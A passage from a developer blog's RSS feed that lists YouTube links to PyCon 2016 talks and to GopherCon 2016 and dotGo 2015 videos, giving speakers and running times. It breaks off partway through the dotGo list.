      <link>https://www.tqdev.com/2016-pycon-2016-videos-online/</link>
      <pubDate>Sat, 16 Jul 2016 09:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2016-pycon-2016-videos-online/</guid>
      <description>&lt;p&gt;The videos of &lt;a href=&#34;https://us.pycon.org/2016/&#34;&gt;PyCon 2016&lt;/a&gt;, (that was held a month
ago in Portland, Oregon) are online! PyCon is the largest annual gathering for
the open-source programming language &amp;ldquo;Python&amp;rdquo;. The impressive list of keynote
speakers included: Parisa Tabriz (Security Princess), K Lars Lohn (Hippie Biker
at Mozilla), Lorena Barba (Computational Scientist), Cris Ewing (Plone
Foundation Member), Guido van Rossum (Python&amp;rsquo;s Creator) and Van Lindberg (Chair
of the Python Software Foundation).&lt;/p&gt;
&lt;h3 id=&#34;free-python-videos&#34;&gt;Free Python videos&lt;/h3&gt;
&lt;p&gt;I think it is amazing that you can watch all these high quality Python talks for
free on YouTube. To make it easy for you to choose to pick an interesting talk I
made a list of all the videos:&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>The videos of <a href="https://us.pycon.org/2016/">PyCon 2016</a>, (that was held a month
ago in Portland, Oregon) are online! PyCon is the largest annual gathering for
the open-source programming language &ldquo;Python&rdquo;. The impressive list of keynote
speakers included: Parisa Tabriz (Security Princess), K Lars Lohn (Hippie Biker
at Mozilla), Lorena Barba (Computational Scientist), Cris Ewing (Plone
Foundation Member), Guido van Rossum (Python&rsquo;s Creator) and Van Lindberg (Chair
of the Python Software Foundation).</p>
<h3 id="free-python-videos">Free Python videos</h3>
<p>I think it is amazing that you can watch all these high quality Python talks for
free on YouTube. To make it easy for you to choose to pick an interesting talk I
made a list of all the videos:</p>
<h4 id="keynotes">Keynotes</h4>
<ul>
<li><a href="https://www.youtube.com/watch?v=kxqci2mZdrc">Parisa Tabriz - Keynote</a> [37:48]</li>
<li><a href="https://www.youtube.com/watch?v=bSfe5M_zG2s">K Lars Lohn - Keynote</a> [52:06]</li>
<li><a href="https://www.youtube.com/watch?v=ckW1xuGVpug">Lorena Barba - Keynote</a>
[1:12:10]</li>
<li><a href="https://www.youtube.com/watch?v=eGRJbBI_H2w">Cris Ewing - Keynote</a> [42:12]</li>
<li><a href="https://www.youtube.com/watch?v=YgtL4S7Hrwo">Guido van Rossum - Python Language</a>
[42:14]</li>
<li><a href="https://www.youtube.com/watch?v=Bo1UqxTnp1s">Van Lindberg - Python Software Foundation</a>
[29:30]</li>
</ul>
<h4 id="other-videos">Other videos</h4>
<ul>
<li><a href="https://www.youtube.com/watch?v=uKpfO331DY4">Tracy Osborn - Web Design for Non Designers</a>
[31:43]</li>
<li><a href="https://www.youtube.com/watch?v=OSvlNh9aQDc">Jacob Kovac - Revitalizing Python Game Development- Packaging, Performance, and Platforms</a>
[28:50]</li>
<li><a href="https://www.youtube.com/watch?v=-K-XtxSyyvU">Van Lindberg - Structured Data from Unstructured Text</a>
[27:36]</li>
<li><a href="https://www.youtube.com/watch?v=oFrTqQw0_3c">Brian Warner - Magic Wormhole- Simple Secure File Transfer</a>
[33:24]</li>
<li><a href="https://www.youtube.com/watch?v=Iq9DzN6mvYA">Jake Vanderplas - Statistics for Hackers</a>
[40:45]</li>
<li><a href="https://www.youtube.com/watch?v=-BtIQ3brsIY">Melinda Shore - Advanced DNS Services for Securing Your Application and Enhancing User Privacy</a>
[30:20]</li>
<li><a href="https://www.youtube.com/watch?v=k_MpfzMc9PU">Elizabeth Ramirez - Kalman Filters for non-rocket science</a>
[30:02]</li>
<li><a href="https://www.youtube.com/watch?v=9kGrKBOytYM">Felix Crux - What You Need to Know About Open Source Licenses</a>
[42:05]</li>
<li><a href="https://www.youtube.com/watch?v=iU9FM9qnEjk">Elizabeth Uselton - Small Batch Artisanal Bots- Let&rsquo;s Make Friends</a>
[7:24]</li>
<li><a href="https://www.youtube.com/watch?v=nFozViwDWvY">Marko Samastur - Publish your code so others can use it in 5 easy steps</a>
[32:35]</li>
<li><a href="https://www.youtube.com/watch?v=UwL-ncEr-_I">Giles Hall - Laser Cutters, 3D Printers, and Python</a>
[37:48]</li>
<li><a href="https://www.youtube.com/watch?v=bQSR1UpUdFQ">Daniele Procida - Documentation-driven development - lessons from the Django Project</a>
[29:09]</li>
<li><a href="https://www.youtube.com/watch?v=nCPf8zDJ0d0">Irene Chen - A Beginner&rsquo;s Guide to Deep Learning</a>
[30:54]</li>
<li><a href="https://www.youtube.com/watch?v=c5DaaGZWQqY">Visual Diagnostics for More Informed Machine Learning Within and Beyond Scikit-Learn</a>
[24:21]</li>
<li><a href="https://www.youtube.com/watch?v=KKC3MjRCueQ">Dwight Hubbard - Keeping cool, using a Raspberry PI to create a networked temperature sensor</a>
[33:52]</li>
<li><a href="https://www.youtube.com/watch?v=Cfasc9EgbMU">Paulus Schoutsen - Awaken your home: Python and the Internet of Things</a>
[30:26]</li>
<li><a href="https://www.youtube.com/watch?v=aOEfIrC07XA">Nathaniel Manista, Augie Fackler - Code Unto Others</a>
[31:32]</li>
<li><a href="https://www.youtube.com/watch?v=D_6ybDcU5gc">Brett Slatkin - Refactoring Python: Why and how to restructure your code</a>
[30:24]</li>
<li><a href="https://www.youtube.com/watch?v=bAcfPzxB3dk">Ned Batchelder - Machete-mode debugging: Hacking your way out of a tight spot</a>
[35:14]</li>
<li><a href="https://www.youtube.com/watch?v=ltS4Om_3QRQ">Sarah Guido, Sean O&rsquo;Connor - A Tour of Large-Scale Data Analysis Tools in Python</a>
[2:54:42]</li>
<li><a href="https://www.youtube.com/watch?v=TpgiFIGXcT4">Allen Downey - Bayesian statistics made simple</a>
[2:57:24]</li>
<li><a href="https://www.youtube.com/watch?v=6zQAu23bKF8">Harry Percival - Outside-In TDD</a>
[1:47:00]</li>
<li><a href="https://www.youtube.com/watch?v=W4ReH9IPH-Q">Trey Hunner - Regular Expressions</a>
[1:42:01]</li>
<li><a href="https://www.youtube.com/watch?v=9k5687mmnoc">Stuart Williams - Python by Immersion</a>
[2:54:23]</li>
<li><a href="https://www.youtube.com/watch?v=jSdkFSg9oW8">Making an Impact with Python Natural Language Processing Tools</a>
[2:54:35]</li>
<li><a href="https://www.youtube.com/watch?v=RrdECLvHW6g">David Baumgold - Get Started with Git</a>
[3:00:39]</li>
<li><a href="https://www.youtube.com/watch?v=WHocRqT-KkU">Kevin Markham - Machine Learning with Text in scikit-learn</a>
[2:44:32]</li>
<li><a href="https://www.youtube.com/watch?v=fAyUF7i8RyI">Final Remarks and Conference Close</a>
[14:51]</li>
<li><a href="https://www.youtube.com/watch?v=RNmO_OfJ0Hs">Thank you</a> [4:13]</li>
<li><a href="https://www.youtube.com/watch?v=2oG-Z7ADV2c">Improving Learning Resources and Community for Deaf Sign Language Users through Deaf Awareness</a>
[26:30]</li>
<li><a href="https://www.youtube.com/watch?v=Xg1LgSg3pmo">Naomi Ceder - Antipatterns for Diversity</a>
[24:29]</li>
<li><a href="https://www.youtube.com/watch?v=iW8ikFrUWPQ">Anne DeCusatis - More Than Binary: Inclusive Gender Collection and You</a>
[29:32]</li>
<li><a href="https://www.youtube.com/watch?v=J5r99eJIxF4">Sep Dehpour (Seperman) - Diff It To Dig It</a>
[25:41]</li>
<li><a href="https://www.youtube.com/watch?v=aVNaxNDN5ok">Brian Corbin - Accelerating healthcare transactions with Python and PyPy</a>
[26:23]</li>
<li><a href="https://www.youtube.com/watch?v=CkDwb5koRTc">Andrey Petrov - See Python, See Python Go, Go Python Go</a>
[27:16]</li>
<li><a href="https://www.youtube.com/watch?v=TdtrO-pxN2w">Shannon Quinn - Python for Public Health: Building Statistical Models of Ciliary Motion</a>
[31:33]</li>
<li><a href="https://www.youtube.com/watch?v=P3AyI_u66Bw">Larry Hastings - Removing Python&rsquo;s GIL: The Gilectomy</a>
[32:07]</li>
<li><a href="https://www.youtube.com/watch?v=NGVBo6JJa6M">Pramod Gupta - Computational Physics with Python: Planetary Orbits from Newton to Feynman</a>
[26:32]</li>
<li><a href="https://www.youtube.com/watch?v=bCYEyhfJPto">Jane Davis - User Research for Non-Researchers</a>
[31:59]</li>
<li><a href="https://www.youtube.com/watch?v=IcMupSYqRa4">Laura Rupprecht - What can software engineers learn from the medical field?</a>
[25:32]</li>
<li><a href="https://www.youtube.com/watch?v=eHXq-IzlGUE">A. Jesse Jiryu Davis - Write an Excellent Programming Blog</a>
[26:54]</li>
<li><a href="https://www.youtube.com/watch?v=UV3-w0gvrrU">Lynn Root, Noa Resare - Why can&rsquo;t we be friends: do corporations and FOSS really mix?</a>
[31:27]</li>
<li><a href="https://www.youtube.com/watch?v=7z2Ki44Vs4E">Grant Jenks - Python Sorted Collections</a>
[41:10]</li>
<li><a href="https://www.youtube.com/watch?v=RR5XHwQB9XU">Ashwini Oruganti - Dispelling the &lsquo;Genius Programmer&rsquo; myth through code review</a>
[25:24]</li>
<li><a href="https://www.youtube.com/watch?v=DsUxuz_Rt8g">Chelsea Voss - Oneliner-izer: An Exercise in Constrained Coding</a>
[28:49]</li>
<li><a href="https://www.youtube.com/watch?v=CjYEpVNbM-s">Elana Hashman - Teaching Python: The Hard Parts</a>
[38:29]</li>
<li><a href="https://www.youtube.com/watch?v=NqdpK9KjGgQ">Russell Keith-Magee - A tale of two cellphones: Python on Android and iOS</a>
[32:41]</li>
<li><a href="https://www.youtube.com/watch?v=b-qLOY5ChnQ">Hynek Schlawack - Get Instrumented: How Prometheus Can Unify Your Metrics</a>
[41:35]</li>
<li><a href="https://www.youtube.com/watch?v=-qpHnJh6iB4">Katie Bell - The computer science of marking computer science assignments</a>
[24:23]</li>
<li><a href="https://www.youtube.com/watch?v=82vuCZ4FLFE">The Report Of Twisted’s Death or: Why Twisted and Tornado Are Relevant In The Asyncio Age</a>
[44:49]</li>
<li><a href="https://www.youtube.com/watch?v=dY-SkuENZP8">Daniel Riti - Remote Calls != Local Calls: Graceful Degradation when Services Fail</a>
[30:46]</li>
<li><a href="https://www.youtube.com/watch?v=5BqAeN-F9Qs">Glyph - Shipping Software To Users With Python</a>
[45:07]</li>
<li><a href="https://www.youtube.com/watch?v=yHpy4Khx0Ds">Geoff Gerrietts - Diving into the Wreck: a postmortem look at real-world performance</a>
[28:06]</li>
<li><a href="https://www.youtube.com/watch?v=EpCHD9AIHAM">Mercedes Coyle - Build Serverless Realtime Data Pipelines with Python and AWS Lambda</a>
[28:15]</li>
<li><a href="https://www.youtube.com/watch?v=-j4lolWgD6Q">Paul Kehrer - Reliably Distributing Compiled Modules</a>
[30:43]</li>
<li><a href="https://www.youtube.com/watch?v=lzBm0r8CxhY">Sean O&rsquo;Connor - From Developer to Manager</a>
[46:50]</li>
<li><a href="https://www.youtube.com/watch?v=sum5Hq2FTsw">Manuel Ebert - Putting 1 million new words into the dictionary</a>
[42:13]</li>
<li><a href="https://www.youtube.com/watch?v=5gy6svL1DuU">IPython Notebook in Data Intensive Communities: Accelerating the process of Discovery</a>
[30:02]</li>
<li><a href="https://www.youtube.com/watch?v=JqQDEpdaDmo">Ria Baldevia - Discovering the world of Python through music</a>
[20:37]</li>
<li><a href="https://www.youtube.com/watch?v=MC00XWdl-ms">Chloe Mawer - Trainspotting: real-time detection of a train’s passing from video</a>
[33:04]</li>
<li><a href="https://www.youtube.com/watch?v=uW02_GnQKeM">Wendy Grus - When is it good to be bad? Web scraping and data analysis of NHL penalties</a>
[30:20]</li>
<li><a href="https://www.youtube.com/watch?v=Mou17XxYRZk">Davey Shafik - HTTP/2 and Asynchronous APIs</a>
[29:15]</li>
<li><a href="https://www.youtube.com/watch?v=dacOIIqKFfs">Dan Callahan - The New Mobile Web: Service Worker, Push, and App Manifests</a>
[26:42]</li>
<li><a href="https://www.youtube.com/watch?v=g8kF9tuYZ6s">How I built a power debugger out of the standard library and things I found on the internet</a>
[30:21]</li>
<li><a href="https://www.youtube.com/watch?v=uaje5I22kgE">Anthony Scopatz - xonsh</a> [30:38]</li>
<li><a href="https://www.youtube.com/watch?v=SDyHLG2ltSY">Sebastian Vetter - Click: A Pleasure To Write, A Pleasure To Use</a>
[30:27]</li>
<li><a href="https://www.youtube.com/watch?v=bI0JUY2qd2A">Dustin Ingram - What Is and What Can Be: An Exploration from <code>type</code> to Metaclasses</a>
[19:54]</li>
<li><a href="https://www.youtube.com/watch?v=6RdZNiyISVU">David Baumgold - Prototyping New APIs with Flask</a>
[23:32]</li>
<li><a href="https://www.youtube.com/watch?v=jvwfDdgg93E">Matt Bachmann - Better Testing With Less Code: Property Based Testing With Python</a>
[27:29]</li>
<li><a href="https://www.youtube.com/watch?v=VBIufBZiw9Y">Renee Chu - Unit Tests, Cluster Tests: A Comparative Introduction</a>
[17:25]</li>
<li><a href="https://www.youtube.com/watch?v=HsLrXt2l-kg">Sumana Harihareswara - HTTP Can Do That?!</a>
[46:28]</li>
<li><a href="https://www.youtube.com/watch?v=frZrBgWHJdY">Alex Martelli - Exception and error handling in Python 2 and Python 3</a>
[46:40]</li>
<li><a href="https://www.youtube.com/watch?v=IDm_YIQihhs">Matthias Kramm - Python Typology</a>
[31:47]</li>
<li><a href="https://www.youtube.com/watch?v=6Uj746j9Heo">Adrienne Lowe - Bake the Cookies, Wear the Dress: Connecting with Confident Authenticity</a>
[32:34]</li>
<li><a href="https://www.youtube.com/watch?v=iAu7Xw9lFt0">Katie McLaughlin - Build a Better Hat Rack: All Contributions Welcome</a>
[24:47]</li>
<li><a href="https://www.youtube.com/watch?v=oeLACa7cj1Q">Christophe Pettus - Django 1.8/1.9 and PostgreSQL: An Ever-Closer Union</a>
[39:57]</li>
<li><a href="https://www.youtube.com/watch?v=rYSSX8mdbMk">Craig Kerstiens - Postgres present and future</a>
[30:52]</li>
<li><a href="https://www.youtube.com/watch?v=D7wSMnapDp4">Dave Sawyer - SQLite: Gotchas and Gimmes</a>
[25:11]</li>
<li><a href="https://www.youtube.com/watch?v=_KcjSQ0gjFs">Susan Tan - Let&rsquo;s read code: the requests library</a>
[25:22]</li>
<li><a href="https://www.youtube.com/watch?v=mxjv9KqzwjI">Scott Sanderson, Joe Jevnik - Playing with Python Bytecode</a>
[41:51]</li>
<li><a href="https://www.youtube.com/watch?v=F6u5rhUQ6dU">Nina Zakharenko - Memory Management in Python - The Basics</a>
[27:01]</li>
<li><a href="https://www.youtube.com/watch?v=pwO99pcoa9I">Anna Herlihy - Wrestling Python into LLVM Intermediate Representation</a>
[23:56]</li>
<li><a href="https://www.youtube.com/watch?v=AlkKvetGFSk">Josh Triplett - Networking without an OS</a>
[31:31]</li>
<li><a href="https://www.youtube.com/watch?v=ZEZBZFi_e88">Jay Goel - Better Integration Testing with Cucumber</a>
[25:51]</li>
<li><a href="https://www.youtube.com/watch?v=KYG5C1CEkOk">Ana Balica - To mock, or not to mock, that is the question</a>
[28:38]</li>
<li><a href="https://www.youtube.com/watch?v=kZtC_4Ecq1Y">Mike Graham - The Life Cycle of a Python Class</a>
[37:25]</li>
<li><a href="https://www.youtube.com/watch?v=E9wS6LdXM8Y">Thomas Ballinger - Finding closure with closures</a>
[31:06]</li>
<li><a href="https://www.youtube.com/watch?v=33aSGoPhh7c">Nicholas Tollervey - Education Summit wrap-up: teaching Python — how hard can it be?</a>
[26:05]</li>
<li><a href="https://www.youtube.com/watch?v=7cC3_jGwl_U">Cory Benfield - Building Protocol Libraries The Right Way</a>
[31:38]</li>
<li><a href="https://www.youtube.com/watch?v=2sEPipctTxw">Andrew Godwin - Reinventing Django for the Real-Time Web</a>
[44:45]</li>
<li><a href="https://www.youtube.com/watch?v=qT0dQ8S7jOg">Dorian Pula - Pythons in A Container - Lessons Learned Dockerizing Python Micro-Services</a>
[30:26]</li>
<li><a href="https://www.youtube.com/watch?v=gRFHvavxnos">Alex Gaynor - The cobbler&rsquo;s children have no shoes, or building better tools for ourselves</a>
[29:51]</li>
<li><a href="https://www.youtube.com/watch?v=4pFs5ZquZcc">Kate Heddleston, Joyce Jang - Usable Ops: How to make web infrastructure management easier.</a>
[41:08]</li>
<li><a href="https://www.youtube.com/watch?v=GunMToxbE0E">Kavya Joshi - A tale of concurrency through creativity in Python: a deep dive into how gevent works.</a>
[30:10]</li>
<li><a href="https://www.youtube.com/watch?v=l4Nn-y9ktd4">Łukasz Langa - Thinking In Coroutines</a>
[27:18]</li>
<li><a href="https://www.youtube.com/watch?v=Yq__HtUIH5Y">Paul Ross - Here be Dragons - Writing Safe C Extensions</a>
[28:35]</li>
<li><a href="https://www.youtube.com/watch?v=1DAIzO3QXcA">Brett Cannon, Dino Viehland - Pyjion: who doesn’t want faster for free?</a>
[25:55]</li>
<li><a href="https://www.youtube.com/watch?v=Ftg8fjY_YWU">Christian Heimes - File descriptors, Unix sockets and other POSIX wizardry</a>
[32:02]</li>
<li><a href="https://www.youtube.com/watch?v=cLWUD9VnLmA">Guillermo Pérez - Python as a configuration language</a>
[30:29]</li>
<li><a href="https://www.youtube.com/watch?v=OS94twkD74s">Drew Fisher - Designing secure systems with Object-Capabilities, Python, and Cap&rsquo;n Proto</a>
[27:48]</li>
<li><a href="https://www.youtube.com/watch?v=fDvO9jwXCV4">Ying Li, David Lawrence - When the going gets tough, get TUF going</a>
[27:07]</li>
<li><a href="https://www.youtube.com/watch?v=8FeNdXzVLEs">Kelsey Gilmore-Innis - Seriously Strong Security on a Shoestring (CW)</a>
[26:20]</li>
<li><a href="https://www.youtube.com/watch?v=ll6Tq-wTXXw">Karen Rubin - Building a Quantitative Trading Strategy To Beat the S&amp;P500</a>
[46:30]</li>
<li><a href="https://www.youtube.com/watch?v=9tDpjzPLvNY">Juozas Kaziukėnas - Building An Interpreter In RPython</a>
[43:05]</li>
<li><a href="https://www.youtube.com/watch?v=zZ2hG6PMjk8">Clara Bennett - Git: A Peek Under the Hood</a>
[24:35]</li>
<li><a href="https://www.youtube.com/watch?v=GpHMTR7P2Ms">Deploying and scaling applications with Docker, Swarm, and a tiny bit of Python magic</a>
[3:11:06]</li>
<li><a href="https://www.youtube.com/watch?v=6inqFd1bUkE">Stuart Williams - Python Epiphanies</a>
[2:49:50]</li>
<li><a href="https://www.youtube.com/watch?v=VR52vSbHBAk">Allen Downey - Computational Statistics</a>
[2:29:19]</li>
<li><a href="https://www.youtube.com/watch?v=knUitQQnpJo">Christophe Pettus - PostgreSQL Proficiency for Python People</a>
[3:00:06]</li>
<li><a href="https://www.youtube.com/watch?v=7PzeZQGVPKc">Mike Müller - Descriptors and Metaclasses - Understanding and Using Python&rsquo;s More Advanced Features</a>
[3:02:03]</li>
<li><a href="https://www.youtube.com/watch?v=nb3GRgtjlTw">Tyler Reddy - Computational Geometry in Python</a>
[2:34:51]</li>
<li><a href="https://www.youtube.com/watch?v=n4VLLQXF_9Y">Sev Leonard - The Fellowship of the Data</a>
[1:52:13]</li>
<li><a href="https://www.youtube.com/watch?v=6zQhUlMYea4">Mike McKerns - Efficient Python for High-Performance Parallel Computing</a>
[3:09:05]</li>
<li><a href="https://www.youtube.com/watch?v=ZVaRK10HBjo">Jérôme Petazzoni - Introduction to Docker and containers</a>
[3:09:15]</li>
<li><a href="https://www.youtube.com/watch?v=Ws34Ho-1aDs">Tracy Teal - Data Carpentry: An Introduction to Python for Data Analysis and Visualization</a>
[2:54:16]</li>
<li><a href="https://www.youtube.com/watch?v=JDSGVvMwNM8">Mike Müller - Faster Python Programs - Measure, don&rsquo;t Guess</a>
[3:03:58]</li>
<li><a href="https://www.youtube.com/watch?v=UPanUFVFfzY">Michael Tom-Wing, Christie Wilson - Introduction to Unit Testing in Python with Pytest</a>
[2:31:47]</li>
<li><a href="https://www.youtube.com/watch?v=itKNpCPHq3I">Tony Ojeda, Benjamin Bengfort, Laura Lorenz - Natural Language Processing with NLTK and Gensim</a>
[3:02:57]</li>
<li><a href="https://www.youtube.com/watch?v=C0wuTkS93B0">Kenneth Love - Django 101</a>
[2:04:33]</li>
<li><a href="https://www.youtube.com/watch?v=YNZLm-dX6HM">(PARTIAL) Harry Percival - Python Bootcamp</a>
[49:47]</li>
<li><a href="https://www.youtube.com/watch?v=hM4I58TA72g">Eric Holscher - Documenting your project with Sphinx &amp; Read the Docs</a>
[2:40:56]</li>
<li><a href="https://www.youtube.com/watch?v=8poZXUcwBgs">Mike Pirnat, David Stanek - Shiny, let&rsquo;s be bad guys</a>
[2:51:45]</li>
<li><a href="https://www.youtube.com/watch?v=rudYHNAGbdk">PyData 101: Essential data science skills for every programmer, from data to model to visualization</a>
[3:23:20]</li>
<li><a href="https://www.youtube.com/watch?v=tdIIJuPh3SI">Miguel Grinberg - Flask at Scale</a>
[3:05:01]</li>
<li><a href="https://www.youtube.com/watch?v=k55d3ZUF3ZQ">Luciano Ramalho - Pythonic Objects: implementing productive APIs with the Python Data Model</a>
[3:01:53]</li>
<li><a href="https://www.youtube.com/watch?v=jdvlZJKK4F0">Eric J. Ma - Practical Network Analysis Made Simple</a>
[2:40:15]</li>
<li><a href="https://www.youtube.com/watch?v=u682UpVrMVM">Renee Chu - Python for Social Scientists: Cleaning and Prepping Data</a>
[1:55:07]</li>
<li><a href="https://www.youtube.com/watch?v=smVDugAW4G4">Luke Sneeringer - Ansible 101</a>
[3:03:20]</li>
<li><a href="https://www.youtube.com/watch?v=lKEyKpZVP00">Tracy Osborn - Build Your First Web App with Hello Web App!</a>
[2:30:07]</li>
<li><a href="https://www.youtube.com/watch?v=SUt3wT43AeM">Creating, building, testing, and documenting a Python project - a hands-on HOWTO</a>
[3:17:06]</li>
<li><a href="https://www.youtube.com/watch?v=GZBIPwdGtkk">Julia Ferraioli, Amy Unruh, Eli Bixby - Diving into Machine Learning through TensorFlow</a>
[2:55:06]</li>
<li><a href="https://www.youtube.com/watch?v=JHF1PDZsx0c">lvh, Cory Benfield, Glyph, Hynek Schlawack, Paul Kehrer - The Hitchhiker&rsquo;s Guide to TLS &amp; SSL</a>
[2:54:30]</li>
</ul>
<h4 id="lightning-talks">Lightning talks</h4>
<ul>
<li><a href="https://www.youtube.com/watch?v=yC9m2GInXqU">2016-05-30</a> [54:45]</li>
<li><a href="https://www.youtube.com/watch?v=7pIn2TCw2Us">2016-05-31 AM</a> [31:25]</li>
<li><a href="https://www.youtube.com/watch?v=PulzIT8KYLk">2016-05-31 PM</a> [1:05:07]</li>
<li><a href="https://www.youtube.com/watch?v=ntPsUFSeYsw">2016-06-01</a> [30:07]</li>
</ul>
<p>Have fun watching!</p>
]]></content:encoded>
    </item>
    <item>
      <title>GopherCon 2016: videos online</title>
      <link>https://www.tqdev.com/2016-gophercon-2016-videos-online/</link>
      <pubDate>Wed, 13 Jul 2016 11:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2016-gophercon-2016-videos-online/</guid>
      <description>&lt;p&gt;13th of July was the last day of &lt;a href=&#34;https://gophercon.com/&#34;&gt;GopherCon 2016&lt;/a&gt;, the
&amp;ldquo;Largest event in the world dedicated to the Go programming language.&amp;rdquo; It was
held in the Colorado Convention Center in Denver. There are 16 videos online now
and 22 lightning talks, so most of the conference is available here. Also
interesting are the videos from the previous year and from &amp;ldquo;dotGo 2015&amp;rdquo; and the
&amp;ldquo;London Go Gathering 2015&amp;rdquo; (they may be older, but they are still very
relevant).&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>13th of July was the last day of <a href="https://gophercon.com/">GopherCon 2016</a>, the
&ldquo;Largest event in the world dedicated to the Go programming language.&rdquo; It was
held in the Colorado Convention Center in Denver. There are 16 videos online now
and 22 lightning talks, so most of the conference is available here. Also
interesting are the videos from the previous year and from &ldquo;dotGo 2015&rdquo; and the
&ldquo;London Go Gathering 2015&rdquo; (they may be older, but they are still very
relevant).</p>
<h3 id="gophercon-2016">GopherCon 2016</h3>
<ul>
<li><a href="https://www.youtube.com/watch?v=KINIAgRpkDA">Rob Pike - The Design of the Go Assembler</a>
[23:57]</li>
<li><a href="https://www.youtube.com/watch?v=ak97oH0D6fI">Alan Donovan - Navigating Unfamiliar Code with the Go Guru</a>
[28:47]</li>
<li><a href="https://www.youtube.com/watch?v=Tl7mi9QmLns">Keith Randall - Inside the Map Implementation</a>
[26:50]</li>
<li><a href="https://www.youtube.com/watch?v=ClPIeuL9HnI">Katrina Owen - Mind the Gap</a>
[26:45]</li>
<li><a href="https://www.youtube.com/watch?v=ynoY2xz-F8s">Francesc Campoy - Understanding nil</a>
[30:59]</li>
<li><a href="https://www.youtube.com/watch?v=D5tDubyXLrQ">Daniel Whitenack - Go for Data Science</a>
[29:32]</li>
<li><a href="https://www.youtube.com/watch?v=F2Ls6xZdSrE">Bernerd Schaefer - Go Without the Operating System</a>
[25:53]</li>
<li><a href="https://www.youtube.com/watch?v=lsBF58Q-DnY">Dave Cheney - Dont Just Check Errors Handle Them Gracefully</a>
[22:13]</li>
<li><a href="https://www.youtube.com/watch?v=IZgAk6o67Ek">José Carlos Nieto - Go Mobile as the backbone of Lantern for Android</a>
[28:54]</li>
<li><a href="https://www.youtube.com/watch?v=-R1tl2dGeIY">Donnie Berkholz - Mining the Go Developer Community</a>
[46:16]</li>
<li><a href="https://www.youtube.com/watch?v=6gdVhHMxNTo">Wisdom Omuya - Go Vendoring Deconstructed</a>
[24:53]</li>
<li><a href="https://www.youtube.com/watch?v=4rw_B4yY69k">Renee French - The Go Gopher A Character Study</a>
[21:13]</li>
<li><a href="https://www.youtube.com/watch?v=gO1qF19y6KQ">Adrian Cockcroft Communicating Sequential Goroutines</a>
[50:16]</li>
<li><a href="https://www.youtube.com/watch?v=KyuFeiG3Y60">Ivan Danyliuk - Visualizing Concurrency in Go</a>
[19:41]</li>
<li><a href="https://www.youtube.com/watch?v=NN3L_DzYujs">Day 2 Speaker Q &amp; A</a> [45:08]</li>
<li><a href="https://www.youtube.com/watch?v=x1XDWmtxymQ">Day 1 Speaker Q &amp; A</a> [45:27]</li>
</ul>
<h3 id="gophercon-2016---lightning-talks">GopherCon 2016 - Lightning talks</h3>
<ul>
<li><a href="https://www.youtube.com/watch?v=QqoYTP9UF3s">Anand Babu Periasamy - Minimalistic Object Storage</a>
[6:00]</li>
<li><a href="https://www.youtube.com/watch?v=Iqw38rsjurM">Antoine Grondin - Structured Logging and You</a>
[6:09]</li>
<li><a href="https://www.youtube.com/watch?v=LMSbsW1Xpwg">Ben Johnson - Structuring Applications for Growth</a>
[4:39]</li>
<li><a href="https://www.youtube.com/watch?v=0F7etKqvkmI">Chris Broadfood - Write your own web framework</a>
[6:26]</li>
<li><a href="https://www.youtube.com/watch?v=QfP1SFLqUQw">Derek Parker - Delve: a debugger for Go</a>
[6:18]</li>
<li><a href="https://www.youtube.com/watch?v=0gqb24bogUc">Harvey Kandola - EmberJS SPA with Go backend</a>
[4:13]</li>
<li><a href="https://www.youtube.com/watch?v=xjJ33Sd95Xk">Jess Frazelle - Things I am not proud of</a>
[5:56]</li>
<li><a href="https://www.youtube.com/watch?v=9C-XHOHZg0M">Jonathan Harlap - We adopted a language and gained a community</a>
[6:09]</li>
<li><a href="https://www.youtube.com/watch?v=Weohm3YZF88">Landon Jones - The little Gopher, from zero to infinity</a>
[3:53]</li>
<li><a href="https://www.youtube.com/watch?v=LwBBgfdI-AA">Matt Aimonetti - Go and Hardware</a>
[1:53]</li>
<li><a href="https://www.youtube.com/watch?v=sttxPp2j7s0">Scott Manfield - Caching Architecture at Netflix</a>
[5:21]</li>
<li><a href="https://www.youtube.com/watch?v=JxM9STwy4Bk">Abel Mathew - Building a Go debugger</a>
[6:11]</li>
<li><a href="https://www.youtube.com/watch?v=4yFb-b5GYWc">Brad Fitzpatrick - My video and security system</a>
[5:35]</li>
<li><a href="https://www.youtube.com/watch?v=Nlr9OzchbpI">Shantanu Joshi - Successfully Avoiding the syslog package</a>
[5:49]</li>
<li><a href="https://www.youtube.com/watch?v=PaVyMSgWUmk">Taichi Nakashima - My CLI application for writing CLI applications</a>
[5:41]</li>
<li><a href="https://www.youtube.com/watch?v=snJD-O7qBi4">Carlisia Campos - You&rsquo;ve found love in a Gopher face. Now what?</a>
[6:08]</li>
<li><a href="https://www.youtube.com/watch?v=VjnVjGRUDro">Edward Muller - State of Go 2016</a>
[6:26]</li>
<li><a href="https://www.youtube.com/watch?v=tsJ8HFz7tQg">Hari Bhaskaran - Cardinality Estimation using HLL in Go</a>
[6:18]</li>
<li><a href="https://www.youtube.com/watch?v=wx5lVS_N_tg">Marty Schoch - Project Root Cellar</a>
[6:38]</li>
<li><a href="https://www.youtube.com/watch?v=t-w6MyI2qlU">Robert Griesemer - Alias Declarations for Go</a>
[6:45]</li>
<li><a href="https://www.youtube.com/watch?v=TuVXiwBhryo">Peggy Li - Jokes about Go</a>
[7:00]</li>
<li><a href="https://www.youtube.com/watch?v=94BZ_2A6KLI">Ron Evans - The Golang Hardware Report</a>
[6:45]</li>
</ul>
<h3 id="dotgo-2015">dotGo 2015</h3>
<ul>
<li><a href="https://www.youtube.com/watch?v=gDTMtU1XS8g">A day at dotGo 2015</a> [1:56]</li>
<li><a href="https://www.youtube.com/watch?v=rFejpH_tAHM">Rob Pike - Simplicity is Complicated</a>
[23:12]</li>
<li><a href="https://www.youtube.com/watch?v=Vd4DE6D6o94">Peter Bourgon - A case for microservices</a>
[17:41]</li>
<li><a href="https://www.youtube.com/watch?v=jEoIiNJTQWE">Jason Hickey - PNaCl/LLVM Go Compiler</a>
[4:25]</li>
<li><a href="https://www.youtube.com/watch?v=ouyHp2nJl0I">Francesc Campoy Flores - Functional Go?</a>
[20:49]</li>
<li><a href="https://www.youtube.com/watch?v=wqN-l4OrMP4">Fatih Arslan - Tools for working with Go Code</a>
[15:47]</li>
<li><a href="https://www.youtube.com/watch?v=j55aWjgzfV8">Jessica Frazelle - The Docker Trail</a>
[13:26]</li>
<li><a href="https://www.youtube.com/watch?v=nuDO1oQxARs">Anthony Starks - The Other Side of Go Programming Pictures</a>
